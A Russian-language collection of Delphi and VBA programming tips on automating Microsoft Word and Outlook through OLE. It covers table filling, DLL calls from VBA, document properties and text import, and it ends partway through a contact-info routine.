Поместим вверх нашей формы кнопку - button1 типа tbutton, поменяем заголовок (св-во Caption) на 'Старт'. Под кнопкой разместим панель - panel1 типа tpanel. Внутри панели поместим компонент - bevel1 типа tbevel, поменяем св-во Align на alClient (при этом рамка растянется на всю панель). Сверху панели (далее все компоненты будут размещаться внутри этой панели) разместим метку - label1 типа tlabel, поменяем значение св-ва Caption на 'Передать в ячейку': Ниже слева поместим метку - label1 типа tlabel, св-во Caption поменяем на 'X=' Правее метки помещаем компонент Edit1 типа tEdit, св-во Text меняем на '1' По правой границе Edit1 помещаем компонент UpDown1 типа tUpDown, в списке св-ва 'Associate' выбираем Edit1, св-во 'Position' приравниваем '1' Чуть отступаем вправо и повторяем шаги 4-6 , заменив Edit1 на Edit2, UpDown1 на UpDown2, Label1 на Label2 соответственно. Ниже размещаем еще одну метку - label4 типа tlabel, меняем св-во 'Caption' на 'Новое значение ячейки:' Ниже размещаем компонент Edit3 типа tEdit, св-во Text меняем на '0' И, наконец, в самом низу панели размещаем кнопку BitBtn1 типа tBitBtn, меняем св-во 'Kind' на 'bkOk'.Теперь напашем обработчики - именно в них и заключается вся функциональность программы:
Назначим обработчик OnClick компоненту Button1.
procedure TForm1.Button1Click(Sender: TObject);
begin
// если заголовок 'Выход', то закрываем программу
if button1.caption='Выход' then
begin
Application.Terminate;
exit;
end
// иначе (при первом начатии, когда у нас заголовок 'Старт')
//переименовываем заголовок в 'Выход'
else
button1.caption:='Выход';
panel1.Visible:=true;
// создаем экземпляр ворда
WordApp:=CoApplication_.Create;
// делаем его видимым
WordApp.Visible:=true;
// шаблон
template:='Normal';
// создать шаблон
OpenAsTemplate:=false;
// что-то типа оператора with, можно было и напрямую обратиться
Docs:=WordApp.Documents;
// добавляем документ
Doc:=Docs.Add(template,OpenAsTemplate);
// выделить все
ARange:=Doc.Range(EmptyParam,EmptyParam);
// массив параграфов
pars:=doc.Paragraphs;
// переменная - параметр
template:=arange;
// новый параграф
par:=pars.Add(template);
// цвет зеленный
par.Range.Font.ColorIndex:=11;
// вставляем текст
par.Range.InsertBefore('Привет !!!');
// переменная - параметр
template:=par.Range;
// новый параграф, чтобы таблица не потерла текст
par:=pars.Add(template);
// цвет черный
par.Range.Font.ColorIndex:=0;
// вставляем текст
par.Range.InsertBefore('Переключившись в программу, ' +
'можно программно менять текст ячеек !');
// переменная - параметр
template:=par.Range;
// новый параграф, чтобы таблица не потерла текст
par:=pars.Add(template);
// выделяем параграф
arange:=par.Range;
// шрифт - жирный
ARange.Font.Bold:=1;
// шрифт - рукописный
ARange.Font.Italic:=1;
// получить массив таблиц
tabls:=aRange.Tables;
// добавляем новую таблицу размером 5 на 5
tabl:=tabls.Add(arange,5,5);
// в цикле
for i := 1 to 5 do
// задаем значение ячеек
tabl.Cell(i,1).Range.Text := inttostr(i);
end;
|
Зададим обработчик формы:
procedure TForm1.FormDestroy(Sender: TObject);
var
// для параметров
SaveChanges: olevariant;
begin
// если Word не закрыт
if not VarIsEmpty(WordApp) then
begin
{ а можно сохранить автоматом:
// имя файла в оле
template:='Имя.doc';
// если не сохранен, то
if doc.Saved=false then
// сохраняем
Doc.SaveAs(template, EmptyParam, EmptyParam, EmptyParam, EmptyParam,
EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam);
короче, пишешь имя объекта, ставишь точку и нажимаешь
'ctrl'+' ' и изучаешь существующие методы и св-ва
}
//изменения не сохранять
SaveChanges:=false;
// то закрыть сначала документ
Doc.Close(SaveChanges,EmptyParam,EmptyParam);
// а потом и ворд
WordApp.Quit(SaveChanges,EmptyParam,EmptyParam)
end;
end;
|
Назначим обработчик OnClick компоненту Bitbtn1:
procedure TForm1.BitBtn1Click(Sender: TObject); begin // в соотв ячейку ставим соотв значение, // а можно и наоборот - получать значение из ячейки в переменную tabl.Cell(UpDown2.Position,UpDown1.Position).Range.Text:=Edit3.Text; end; |
В общем-то, это все ...
Дополнительная информация:
Справка Word-а (по Visual Basic, по умолчанию она не ставится - запустите заново Setup и поставте в соотв. месте галочку) Книги: Чарльз Калверт "Энциклопедия пользователя Delphi4" (издательство - DiaSoft) Марко Кэнту "Delphi4 для профессионалов" (издательство - Питер)Если у Вас другая версия Word-а: Параметры ф-ций могут отличаться - обратитесь к справке (см выше) или если у Вас версия Delphi 3 и выше, то используем универсальный метод - пишешь имя объекта, ставишь точку (если нужно посмотреть список параметров у функции , то после открывающей скобки ) , нажимаешь 'ctrl'+'пробел' и изучаешь существующие методы и св-ва.
Запуск Word без автостартующего (AutoStart) макроса.
Для деактивации автостартующего макроса вы должны выполнить следующую команду:
WordBasic.DisableAutoMacros |
Перед выполнением команды не забудьте создать сам объект WordBasic.
Автоматизация документов WORD.
Оформил: DeeCo
Автор: Клименко Константин.
1. Для чего и для когоВ настоящий момент везде, или почти везде, для работы с текстовыми документами используется Word от Microsoft. Причем, когда читаешь в объявлениях о приеме на работу программиста в фирму не занимающейся разработкой ПО, то с уверенностью можно сказать, что необходим человек, умеющий работать с офисным пакетом (Word, Excel, Access) от вышеупомянутой фирмы. Поэтому данным материалом хотелось бы показать, как можно в некоторых случаях упростить работу с текстовым редактором Word. Для этого не обязательны знания Delphi на профессиональном уровне, достаточно уметь создавать динамически подключаемые библиотеки (DLL) и знать основы VBA для Word. К тому же макроязыки используются не только в пакете от Microsoft, слышал, что аналог VBA есть и в StarOffice. 2. Как подключить DLL в VBAЛюбая программа может вызвать функцию из DLL, которая написана на Delphi, независимо от того, написана она на Си, Visual Basic или VBA. Первый вопрос, который может волновать - как это сделать в VBA для Word? Для вызова DLL в VBA для Word существует специальная функция:[Public | Private]Declarefunction name Lib "libname"[Alias "aliasname"][([arglist])][as type]Описание функции: Public и Private - разрешение на использование вызываемой функции в других процедурах и модулях и использование только в данном модуле. name - имя вызываемой функции. libname - имя библиотеки. Alias псевдоним, необходим, когда используются недопустимые символы или существует переменная, название которой совпадает с названием функции arglist - список передаваемых в функцию переменных As type тип функции Если необходимо вызвать процедуру, то вместо Function указывается Sub, и соответственно опускается As type. Например:
Declarefunction MyTest Lib "PrjWTest"(ByVal Ns as Byte) as string Sub WordTest() Dim S1, S2 as string S1 = MyTest(1) end SubВызываем функцию MyTest из библиотеки PrjWTest.dll. Функции предаем значение переменной NS, имеющей тип Byte. Функция возвращает строку. Желательно в VBA создать функцию для вызова DLL. В нашем примере это функция WordTest , которая вызывается MACROBUTTON-ом ({ MACROBUTTON WordTest Кликни здесь }(Вставка => Поле => Автоматизация документа)). 3. Как в Delphi создать DLLОтвет на этот вопрос можно найти во многих справочниках и учебниках по Delphi. Я лишь приведу исходный текст библиотеки. На форме находятся следующие компоненты: Edit1 и Button1, причем Button1.ModalResult = mrOk. Листинг библиотеки (PrjWTest.dpr):
library PrjWTest;
uses
Windows,
Messages,
SysUtils,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
UnitWTest in 'UnitWTest.pas' {FormWTest};
var
//Это наша форма
MyForm: TFormWTest;
{*********************Test************************************}
function Test: PChar; export; stdcall;
var
TmpStr: string;
begin
TmpStr := '';
//Вызываем форму
if MyForm.ShowModal = mrOk then
begin
//Считываем текст с Edit
TmpStr := MyForm.Edit1.Text;
end;
//Желательно указать конец строки
TmpStr := TmpStr + #0;
//Возвращаем текст
Test := PChar(TmpStr);
end;
{*********************MyTest************************************
Данную функцию вызываем из Word}
function MyTest(N: Byte): PChar; export; stdcall;
begin
//Посылаем в Edit число, полученное из Word
MyForm.Edit1.Text := IntToStr(N);
//Вызываем вспомогательную функцию
MyTest := Test;
end;
{*********************MyTest************************************
Создаем форму}
procedure CreateForm; export; stdcall;
begin
MyForm := TFormWTest.Create(Application);
end;
{*********************MyTest************************************
Освобождаем форму}
procedure FreeForm; export; stdcall;
begin
MyForm.Free;
end;
exports
CreateForm Index 1,
MyTest Index 2,
FreeForm Index 3;
//{$R *.RES}
begin
{ Application.Initialize;
Application.CreateForm(TFormGsk, FormGsk);
Application.CreateForm(TDataModule2, DataModule2);
Application.CreateForm(TFormListBoxs, FormListBoxs);
Application.CreateForm(TFormCreateSk, FormCreateSk);
Application.CreateForm(TFormAddKontr, FormAddKontr);
Application.Run;}
end.
При вызове функции MyTest вызывается наша форма, в Edit помещается переданное число, функция возвращает текст из Edit. Полученную DLL желательно поместить в папку Windows.
4. Проблемы, возникающие при передаче данных.В данной части хотелось бы обратить внимание на некоторые особенности передачи данных из Delphi в VBA.
Во-первых, если передаете текст, то тип передаваемой функции должен быть Pchar, т.к. VBA не понимает типа String.
Во-вторых, VBA все равно при выводе текста в документ выдаст ерунду. Поэтому ниже привожу листинг функции, преобразующей полученный текст в "нормальный".
//Приводим полученный текст в "нормальный" текстовый вид
function StrToStr(St as string) as string
Dim EndStr as Long
//Определяем количество символов до конца строки
EndStr = InStr(1, St, Chr$(0))
if EndStr <>
0 then
//Вырезаем и возвращаем нужную информацию
StrToStr = Left(St, EndStr - 1)
else
StrToStr = ""
end if
endfunction
В-третьих, лучше создавать и освобождать формы отдельными функциями, особенно это видно при работе с базами. //Подключаемые функции в DLL Declare Sub CreateForm Lib "PrjWTest"() Declarefunction MyTest Lib "PrjWTest"(ByVal Ns as Byte) as string Declare Sub FreeForm Lib "PrjWTest"()5. Как вставлять текст в Word.Это тоже можно найти в справочниках и учебниках по VBA. Но все же приведу несколько советов по этому вопросу. Если строку необходимо вставить в определенное место в тексте, то делаем закладку: Вставка=>Закладка в меню Word. Но лучше использовать две закладки: начало текста и конец. Это может понадобиться в случае замены старого текста на новый (обновление данных). Далее листинг этих функций:
//Переходим к метке Label
Sub GotoBookMark(label as string)
Selection.goto What := wdGoToBookmark, Name := label
with ActiveDocument.Bookmarks
.DefaultSorting = wdSortByName
.ShowHidden = False
end with
end Sub
//Вставляет текст NK между закладками BeginBookM и EndBookM
Sub NewTxt(BeginBookM as string, EndBookM as string, NK as string)
//Переходим к первой закладке
GotoBookMark(BeginBookM)
//Выделяем старый текст между закладками
Selection.Extend
//Переходим к второй закладке
GotoBookMark(EndBookM)
//Отступаем чтобы не захватить закладку
Selection.MoveLeft unit := wdCharacter, Count := 1
//Заменяем старый текст на новый
Selection.TypeText Text := NK
end Sub
И напоследок, листинг основной функции VBA - WordTest, которая вызывает DLL и вставляет текст между закладками: Sub WordTest() Dim S1, S2 as string //Загружаем DLL и форму CreateForm //Считываем данные с Edit S1 = MyTest(1) S2 = S1 //Преобразуем в нормальный текст S2 = StrToStr(S2) //Вставляем текст между закладками NewTxt "BeginTest", "EndTest", S2 //Удаляем формы и выгружаем DLL FreeForm Exit Sub end SubИсходники программы и документа прилагаются — AutoWrd.zip (127 K).
Как прочитать или изменить свойства Word документа.
Автор: http://www.swissdelphicenter.ch
{ Change MS Word properties via OLE }
uses
ComObj;
procedure TForm1.Button1Click(Sender: TObject);
const
wdPropertyTitle = $00000001;
wdPropertySubject = $00000002;
wdPropertyAuthor = $00000003;
wdPropertyKeywords = $00000004;
wdPropertyComments = $00000005;
wdPropertyTemplate = $00000006;
wdPropertyLastAuthor = $00000007;
wdPropertyRevision = $00000008;
wdPropertyAppName = $00000009;
wdPropertyTimeLastPrinted = $0000000A;
wdPropertyTimeCreated = $0000000B;
wdPropertyTimeLastSaved = $0000000C;
wdPropertyVBATotalEdit = $0000000D;
wdPropertyPages = $0000000E;
wdPropertyWords = $0000000F;
wdPropertyCharacters = $00000010;
wdPropertySecurity = $00000011;
wdPropertyCategory = $00000012;
wdPropertyFormat = $00000013;
wdPropertyManager = $00000014;
wdPropertyCompany = $00000015;
wdPropertyBytes = $00000016;
wdPropertyLines = $00000017;
wdPropertyParas = $00000018;
wdPropertySlides = $00000019;
wdPropertyNotes = $0000001A;
wdPropertyHiddenSlides = $0000001B;
wdPropertyMMClips = $0000001C;
wdPropertyHyperlinkBase = $0000001D;
wdPropertyCharsWSpaces = $0000001E;
const
AWordDoc = 'C:\Test.doc';
wdSaveChanges = $FFFFFFFF;
var
WordApp: OLEVariant;
SaveChanges: OleVariant;
begin
try
WordApp := CreateOleObject('Word.Application');
except
// Error....
Exit;
end;
try
WordApp.Visible := False;
WordApp.Documents.Open(AWordDoc);
WordApp.ActiveDocument.BuiltInDocumentProperties[wdPropertyTitle].Value :=
'Your Title...';
WordApp.ActiveDocument.BuiltInDocumentProperties[wdPropertySubject].Value :=
'Your Subject...';
// ...
// ...
finally
SaveChanges := wdSaveChanges;
WordApp.Quit(SaveChanges, EmptyParam, EmptyParam);
end;
end;
Как прочитать или изменить свойства Word документа 2.
Автор: http://www.swissdelphicenter.ch
{
Read MS Word properties via Structured Storage.
by Serhiy Perevoznyk
}
uses
ComObj, ActiveX;
const
FmtID_SummaryInformation: TGUID =
'{F29F85E0-4FF9-1068-AB91-08002B27B3D9}';
function FileTimeToDateTimeStr(F: TFileTime): string;
var
LocalFileTime: TFileTime;
SystemTime: TSystemTime;
DateTime: TDateTime;
begin
if Comp(F) = 0 then
Result := '-'
else
begin
FileTimeToLocalFileTime(F, LocalFileTime);
FileTimeToSystemTime(LocalFileTime, SystemTime);
with SystemTime do
DateTime := EncodeDate(wYear, wMonth, wDay) +
EncodeTime(wHour, wMinute, wSecond, wMilliseconds);
Result := DateTimeToStr(DateTime);
end;
end;
function GetDocInfo(const FileName: WideString): string;
var
I: Integer;
PropSetStg: IPropertySetStorage;
PropSpec: array[2..19] of TPropSpec;
PropStg: IPropertyStorage;
PropVariant: array[2..19] of TPropVariant;
Rslt: HResult;
S: string;
Stg: IStorage;
begin
Result := '';
try
OleCheck(StgOpenStorage(PWideChar(FileName), nil, STGM_READ or
STGM_SHARE_DENY_WRITE,
nil, 0, Stg));
PropSetStg := Stg as IPropertySetStorage;
OleCheck(PropSetStg.Open(FmtID_SummaryInformation,
STGM_READ or STGM_SHARE_EXCLUSIVE, PropStg));
for I := 2 to 19 do
begin
PropSpec[I].ulKind := PRSPEC_PROPID;
PropSpec[I].PropID := I;
end;
Rslt := PropStg.ReadMultiple(18, @PropSpec, @PropVariant);
OleCheck(Rslt);
if Rslt <> S_FALSE then
for I := 2 to 19 do
begin
S := '';
if PropVariant[I].vt = VT_LPSTR then
if Assigned(PropVariant[I].pszVal) then
S := PropVariant[I].pszVal;
case I of
2: S := Format('Title: %s', [S]);
3: S := Format('Subject: %s', [S]);
4: S := Format('Author: %s', [S]);
5: S := Format('Keywords: %s', [S]);
6: S := Format('Comments: %s', [S]);
7: S := Format('Template: %s', [S]);
8: S := Format('Last saved by: %s', [S]);
9: S := Format('Revision number: %s', [S]);
10: S := Format('Total editing time: %g sec',
[Comp(PropVariant[I].filetime) / 1.0E9]);
11: S := Format('Last printed: %s',
[FileTimeToDateTimeStr(PropVariant[I].filetime)]);
12: S := Format('Create time/date: %s',
[FileTimeToDateTimeStr(PropVariant[I].filetime)]);
13: S := Format('Last saved time/date: %s',
[FileTimeToDateTimeStr(PropVariant[I].filetime)]);
14: S := Format('Number of pages: %d', [PropVariant[I].lVal]);
15: S := Format('Number of words: %d', [PropVariant[I].lVal]);
16: S := Format('Number of characters: %d',
[PropVariant[I].lVal]);
17: ; // thumbnail
18: S := Format('Name of creating application: %s', [S]);
19: S := Format('Security: %.8x', [PropVariant[I].lVal]);
end;
if S <> '' then
Result := Result + S + #13;
end;
finally
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Opendialog1.Execute then
ShowMessage(GetDocInfo(opendialog1.FileName));
end;
Импорт активного документа Word.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Импорт активного документа Word
Импортирует текст активного документа Word в объект класса TStrings
(без форматирования). Если при открытом Worde результат отрицательный -
рекомендуется перезапустить приложение, поскольку дальнейшие вызовы
функции в подавляющем большинстве случаев будут приводить к ошибке
Зависимости: OleServer, Word97
Автор: Dimka Maslov, mainbox@endimus.com, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 6 февраля 2004 г.
***************************************************** }
function ImportWordActiveDocument(Strings: TStrings): Boolean;
var
Word: TWordApplication;
Start, End_: Integer;
begin
Result := True;
try
Word := TWordApplication.Create(nil);
try
Word.AutoConnect := False;
Word.AutoQuit := False;
Word.ConnectKind := ckRunningInstance;
Word.Connect;
Start := Word.Selection.Get_Start;
End_ := Word.Selection.Get_End_;
Word.Selection.SetRange(0, $7FFFFFFF);
Strings.Text := Word.Selection.Text;
Word.Selection.SetRange(Start, End_);
Word.Disconnect;
finally
Word.Free;
end;
except
Result := False;
end;
end;
// Пример использования:
if not ImportWordActiveDocument(Memo1.Lines) then
ShowMessage('Error');
Как в Word макросом удалить символы возврата каретки.
| - Папа! А что значать цифры у Windows: 3.11, 95, 98, 2000? - Сколько каждая метров! 2. Solaris - экранизация Linux. 3. "Майн Герц", - сказала "мама" вибратору. 4. Tampax - жалкий аналог Recycle Bin. 5. Alldays и Allways с крылышками - модифициронные прокладки для "мыши". |
Sub Макрос1()
'
' Макрос1 Макрос
'
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "^p^p"
.Replacement.Text = "#@$%%$"
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
With Selection.Find
.Text = "^p"
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "#@$%%$"
.Replacement.Text = "^p"
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
End Sub
|
Автоматизация Word с OLE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
comobj;
procedure TForm1.Button1Click(Sender: TObject);
var
Word: OLEVariant;
begin
try
Word := CreateOleObject('Word.Application');
except
ShowMessage('Cannot start Word !');
Exit;
end;
// Show Word
Word.Visible := True;
// Add a new Document
Word.Documents.Add;
if Word.ActiveWindow.View.SplitSpecial <> 0 then
Word.ActiveWindow.Panes[2].Close;
if (Word.ActiveWindow.ActivePane.View.type = 1) or
(Word.ActiveWindow.ActivePane.View.type = 2) or
(Word.ActiveWindow.ActivePane.View.type = 5) then
Word.ActiveWindow.ActivePane.View.type := 3;
Word.ActiveWindow.ActivePane.View.SeekView := 9;
Word.Selection.Font.Name := 'Times New Roman';
Word.Selection.Font.Size := 12;
Word.Selection.Font.Bold := True;
Word.Selection.ParagraphFormat.Alignment := 1;
Word.Selection.TypeText(Text :=
'Kohlenhandel Brikett-GmbH & Co.-KG. - Holzweg 16 - 54633 Steinhausen');
if Word.Selection.HeaderFooter.IsHeader = True then
Word.ActiveWindow.ActivePane.View.SeekView := 10
else
Word.ActiveWindow.ActivePane.View.SeekView := 9;
Word.Selection.TypeText(Text :=
'Bankverbindung: Stadtsparkasse Steinhausen BLZ 123456789 KtoNr. 782972393243');
Word.ActiveWindow.ActivePane.View.SeekView := 0;
Word.Selection.TypeText(Text := Edit2.Text + ' ' + edit1.Text);
Word.Selection.TypeParagraph;
Word.Selection.TypeText(Text := edit3.Text);
Word.Selection.TypeParagraph;
Word.Selection.TypeParagraph;
Word.Selection.Font.Name := 'Times New Roman';
Word.Selection.Font.Size := 12;
Word.Selection.Font.Bold := True;
Word.Selection.TypeText(Text := edit4.Text + ' ' + edit5.Text);
Word.Selection.TypeParagraph;
Word.Selection.TypeParagraph;
Word.Selection.TypeParagraph;
Word.Selection.TypeParagraph;
Word.Selection.Font.Name := 'Arial';
Word.Selection.Font.Size := 14;
Word.Selection.Font.Bold := True;
Word.Selection.TypeText(Text := Combobox1.Text);
Word.Selection.TypeParagraph;
Word.Selection.TypeParagraph;
Word.Selection.TypeParagraph;
Word.Selection.Font.Name := 'Times New Roman';
Word.Selection.Font.Size := 12;
Word.Selection.Font.Bold := True;
if radiogroup1.ItemIndex = 0 then
Word.Selection.TypeText(Text := 'Sehr geehrter Herr ' + edit1.Text)
else
Word.Selection.TypeText(Text := 'Sehr geehrte Frau ' + edit1.Text);
end;
Word, OutLook и OLE.
Здесь мы ответим на действительно интересные вопросы: Как узнать, установлен ли Word 8 на машине клиента? Где расположены шаблоны? Почему запускается все время новый документ, когда я хочу работать в том же? Как найти документ, с которым пользователь работал в последнее время? Почему Word закрывается после завершения моей процедуры? Как мне добраться до папок программы Outlook? Как в Outlook получить доступ к существующему контакту или создать свой?
{--------------------Взято из библиотеки типов--------------- WORDDEC.INC}
Const
// OlAttachmentType
olByValue = 1;
olByReference = 4;
olEmbeddedItem = 5;
olOLE = 6;
// OlDefaultFolders
olFolderDeletedItems = 3;
olFolderOutbox = 4;
olFolderSentMail = 5;
olFolderInbox = 6;
olFolderCalendar = 9;
olFolderContacts = 10;
olFolderJournal = 11;
olFolderNotes = 12;
olFolderTasks = 13;
// OlFolderDisplayMode
olFolderDisplayNormal = 0;
olFolderDisplayFolderOnly = 1;
olFolderDisplayNoNavigation = 2;
// OlInspectorClose
olSave = 0;
olDiscard = 1;
olPromptForSave = 2;
// OlImportance
olImportanceLow = 0;
olImportanceNormal = 1;
olImportanceHigh = 2;
// OlItems
olMailItem = 0;
olAppointmentItem = 1;
olContactItem = 2;
olTaskItem = 3;
olJournalItem = 4;
olNoteItem = 5;
olPostItem = 6;
// OlSensitivity
olNormal = 0;
olPersonal = 1;
olPrivate = 2;
olConfidential = 3;
// OlJournalRecipientType;
olAssociatedContact = 1;
// OlMailRecipientType;
olOriginator = 0;
olTo = 1;
olCC = 2;
olBCC = 3;
Const
wdGoToBookmark = -1;
wdGoToSection = 0;
wdGoToPage = 1;
wdGoToTable = 2;
wdGoToLine = 3;
wdGoToFootnote = 4;
wdGoToEndnote = 5;
wdGoToComment = 6;
wdGoToField = 7;
wdGoToGraphic = 8;
wdGoToObject = 9;
wdGoToEquation = 10;
wdGoToHeading = 11;
wdGoToPercent = 12;
wdGoToSpellingError = 13;
wdGoToGrammaticalError = 14;
wdGoToProofreadingError = 15;
wdGoToFirst = 1;
wdGoToLast = -1;
wdGoToNext = 2; //интересно,
wdGoToRelative = 2; //чем отличаются эти две константы?
wdGoToPrevious = 3;
wdGoToAbsolute = 1;
|
Основные функции:
Function GetWordUp(StartType : string):Boolean; Function InsertPicture(AFileName : String) : Boolean; Function InsertContactInfo(MyId : TMyId; MyContId : TMyContId): Boolean; Function GetOutlookUp(ItemType : Integer): Boolean; Function MakeOutLookContact(MyId : TMyId; MyContId : TMyContId) : Boolean; Function ImportOutlookContact : Boolean; Function GetOutlookFolderItemCount : Integer; Function GetThisOutlookItem(AnIndex : Integer) : Variant; Function FindMyOutlookItem(AFilter : String; var AItem : Variant) :Boolean; Function FindNextMyOutlookItem(var AItem : Variant) : Boolean; Function CloseOutlook : Boolean; Type TTreeData = class(TObject) Public ItemId : String; end; |
{$I worddec.inc} {все константы из библиотеки типов тащим с собой}
var
myRegistry: TRegistry;
GotWord: Boolean;
WhereIsWord: string;
WordDoneMessage: Integer;
Basically: variant;
Wordy: Variant;
MyDocument: Variant;
MyOutlook: Variant;
MyNameSpace: Variant;
MyFolder: Variant;
MyAppointment: Variant;
function GetWordUp(StartType: string): Boolean;
// Запускаем Word "правильным" на мой взгляд способом
// после старта Word мы сделаем так, чтобы после завершения приложения он остался открытым
var
i: integer;
AHwnd: Hwnd;
AnAnswer: Integer;
temp: string;
MyDocumentsCol: Variant;
TemplatesDir: Variant;
OpenDialog1: TopenDialog;
begin
result := false;
myRegistry := Tregistry.Create;
myRegistry.RootKey := HKEY_LOCAL_MACHINE;
// никакого "word 8", никакой функции!
if myRegistry.KeyExists('SOFTWARE\Microsoft\Office\8.0\Word') then
GotWord := true
else
GotWord := false;
if GotWord then
//где он, черт побери?
if myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0', false) then
begin
WhereisWord := myRegistry.ReadString('BinDirPath');
MyRegistry.CloseKey;
end
else
GotWord := false;
if GotWord then
//и где эти надоевшие шаблоны?
begin
MyRegistry.RootKey := HKEY_CURRENT_USER;
if
myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0\Common\FileNew\SharedTemplates', false) then
begin
TemplatesDir := myRegistry.ReadString(Nothing);
MyRegistry.CloseKey;
end
else
begin
Warning('Ole инсталляция', 'Шаблоны рабочей группы не установлены');
GotWord := false;
end;
end;
myRegistry.free;
if not gotword then
begin
Warning('Ole дескриптор', 'Word не установлен');
exit;
end;
//это имя класса принадлежит главному окну в двух последних версиях Word
temp := 'OpusApp';
AHwnd := FindWindow(pchar(temp), nil);
if (AHwnd = 0) then
//Word не запущен, пробуем запустить пустую оболочку без документа
begin
Temp := WhereisWord + '\winword.exe /n';
AnAnswer := WinExec(pchar(temp), 1);
if (AnAnswer < 32) then
begin
Warning('Ole дескриптор', 'Не могу найти WinWord.exe');
Exit;
end;
end;
Application.ProcessMessages;
{Если вы уже используете Word.Application, вы получаете ваш собственный экземпляр}
{Если вы уже используете Word.Document, вы получаете работающий экземпляр}
{по-моему все понятно и очень удобно (во всяком случае мне)}
try {создаем новый документ}
Basically := CreateOleObject('Word.Document.8');
except
Warning('Ole дескриптор', 'Не могу запустить Microsoft Word.');
Result := False;
Exit;
end;
try {ссылаемся в переменной вариантного на вновь созданный документ}
Wordy := Basically.Application;
except
begin
Warning('Ole дескриптор', 'Не могу получить доступ к Microsoft Word.');
Wordy := UnAssigned;
Basically := UnAssigned;
Exit;
end;
end;
Application.ProcessMessages;
Wordy.visible := false;
MyDocumentsCol := Wordy.Documents;
{Проверяем количество открытых документов и пытаемся вывести диалог выбора шаблона}
if (MyDocumentsCol.Count = 1) or
(StartType = 'New') then
begin
OpenDialog1 := TOpenDialog.Create(Application);
OpenDialog1.filter := 'Шаблоны Word|*.dоt|Документы Word|*.doc';
OpenDialog1.DefaultExt := '*.dot';
OpenDialog1.Title := 'Выберите ваш шаблон';
OpenDialog1.InitialDir := TemplatesDir;
if OpenDialog1.execute then
begin
Wordy.ScreenUpdating := false;
MyDocumentsCol := wordy.Documents;
MyDocumentsCol.Add(OpenDialog1.Filename, False);
OpenDialog1.free;
end
else
begin
OpenDialog1.Free;
Wordy.visible := true;
Wordy := Unassigned;
Basically := Unassigned;
Exit;
end;
end
else
{закрываем документ}
MyDocument.close(wdDoNotSaveChanges);
{теперь мы имеем или новый документ на основе шаблона, выбранного пользователем
или же его текущий документ}
MyDocument := Wordy.ActiveDocument;
Result := true;
Application.ProcessMessages;
end;
function InsertPicture(AFileName: string): Boolean;
var
MyShapes: Variant;
MyRange: variant;
begin
Result := True;
if GetWordUp('Current') then
try
begin
MyRange := MyDocument.goto(wdgotoline, wdgotolast);
MyRange.EndOf(wdParagraph, wdMove);
MyRange.InsertBreak(wdPageBreak);
MyShapes := MyDocument.InlineShapes;
MyShapes.AddPicture(afilename, false, true, MyRange);
end;
finally
begin
Wordy.ScreenUpdating := true;
Wordy.visible := true;
Wordy := Unassigned;
Basically := UnAssigned;
Application.ProcessMessages;
end;
end
else
Result := False;
end;
function InsertContactInfo(MyId: TMyId; MyContId: TMyContId): Boolean;
var
MyCustomProps: Variant;
begin
{ лично я сначала сохраняю свою визитку в свойствах документа, а только
потом вывожу панели с инструментами для того, чтобы пользователь мог
"установить" принадлежность шаблона или текущего документа.
на мой взгляд здесь есть три достоинства (здесь нет подвохов, уверяю вас):
1. Пользователь может установить свои свойства документа после того,
как функция отработает
2. Другие свойства могут быть установлены в любом месте
того же документа
3. Пользователь может переслать эти свойства в тот же Outlook или с их
помощью найти документ, используя функции расширенного поиска Word}
Result := true;
if GetWordUp('New') then
try
begin
MyCustomProps := MyDocument.CustomDocumentProperties;
MyCustomProps.add(cpId, false, msoPropertyTypeString, MyId.Id);
MyCustomProps.add(cpOrganizationName,
false, msoPropertyTypeString, MyId.OrganizationName);
MyCustomProps.add(cpAddress1,
false, msoPropertyTypeString, MyId.Address1);
MyCustomProps.add(cpAddress2, false,
msoPropertyTypeString, MyId.Address2);
MyCustomProps.add(cpCity, false,
msoPropertyTypeString, MyId.City);
MyCustomProps.add(cpStProv, false,
msoPropertyTypeString, MyId.StProv);
MyCustomProps.add(cpCountry,
false, msoPropertyTypeString, MyId.City);
MyCustomProps.add(cpPostal, false,
msoPropertyTypeString, MyId.Country);
MyCustomProps.add(cpAccountId, false,
msoPropertyTypeString, MyId.AccountId);
MyCustomProps.add(cpFullName, false,
msoPropertyTypeString, MyContId.FullName);
MyCustomProps.add(cpSalutation, false,
msoPropertyTypeString, MyContId.Salutation);
MyCustomProps.add(cpTitle, false,
msoPropertyTypeString, MyContId.Title);
if (MyContId.workPhone = Nothing) or
(MycontId.WorkPhone = ASpace) then
MyCustomProps.add(cpPhone, false,
msoPropertyTypeString, MyId.Phone)
else
MyCustomProps.add(cpPhone, false,
msoPropertyTypeString, MyContId.WorkPhone);
if (MyContId.Fax = Nothing) or (MycontId.Fax = ASpace) then
MyCustomProps.add(cpFax, false,
msoPropertyTypeString, MyId.Fax)
else
MyCustomProps.add(cpFax, false,
msoPropertyTypeString, MyContId.Fax);
if (MyContId.EMail = Nothing) or (MycontId.Email = ASpace) then
MyCustomProps.add(cpEmail, false,
msoPropertyTypeString, MyId.Email)
else
MyCustomProps.add(cpEmail, false,
msoPropertyTypeString, MyContId.Email);
MyCustomProps.add(cpFirstName, false,
msoPropertyTypeString, MyContId.FirstName);
MyCustomProps.add(cpLastName, false,
msoPropertyTypeString, MyContId.LastName);
